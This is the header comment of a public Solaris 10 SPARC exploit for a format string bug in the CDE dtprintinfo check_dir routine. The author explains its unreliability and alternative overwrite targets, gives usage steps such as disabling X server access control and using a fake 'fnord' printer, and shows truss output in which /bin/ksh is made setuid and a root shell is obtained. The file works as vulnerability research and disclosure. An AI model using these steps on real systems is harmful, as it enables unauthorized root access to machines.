*
* As usual, exploitation on SPARC turned out to be much more complicated (and
* fun) than on Intel. Since the vulnerable program needs to survive one
* additional function before we can hijack %pc, the classic stack-based buffer
* overflow approach didn't seem feasible in this case. Therefore, I opted for
* the format string bug. This is just a proof of concept, 'cause guess what --
* on my system it works only when gdb or truss are attached to the target
* process:( To borrow Neel Mehta's words:
*
* "It's quite common to find an exploit that only works with GDB attached to
* the process, simply because without the debugger, break register windows
* aren't flushed to the stack and the overwrite has no effect."
* -- The Shellcoder's Handbook
*
* On different hardware configurations this exploit might work if the correct
* retloc and offset are provided. It might also be possible to force a context
* switch at the right time that results in registers being flushed to the
* stack at the right moment. However, this method tends to be unreliable even
* when the attack is repeatable like in this case. A better way to solve the
* puzzle would be to overwrite something different, e.g.:
*
* - Activation records of other functions, such as check_dir() (same issues)
* - Callback to function SortJobs() (nope, address is hardcoded in .text)
* - PLT in the binary (I need a different technique to handle null bytes)
* - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!)
* - Other OS function pointers I'm not aware of still present in Solaris 10
*
* Finally, it might be possible to combine the stack-based buffer overflow and
* the format string bug to surgically fix addresses and survive until needed
* for program flow hijacking to be possible. Bottom line: there's still some
* work to do to obtain a reliable exploit, but I think it's feasible. You're
* welcome to try yourself if you feel up to the task and have a spare SPARC
* box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
*
* This bug was likely fixed during the general cleanup of CDE code done by
* Oracle in response to my recently reported vulnerabilities. However, I can't
* confirm this because I have no access to their patches:/
*
* See also:
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
* raptor_dtprintcheckdir_intel2.c
* raptor_dtprintcheckdir_sparc2.c (the real deal)
*
* Usage:
* $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
* [on your xserver: disable the access control]
* $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
* [on your xserver: double click on the fake "fnord" printer]
* ...
* -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
* -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
* <- libc:getenv() = 0xffbff364
* -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
* <- libc:getenv() = 0xffbff364
* -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
* ...
* setuid(0) = 0
* chmod("/bin/ksh", 037777777777) = 0
* _exit(0)
* $ ksh
* # id
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
* #
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
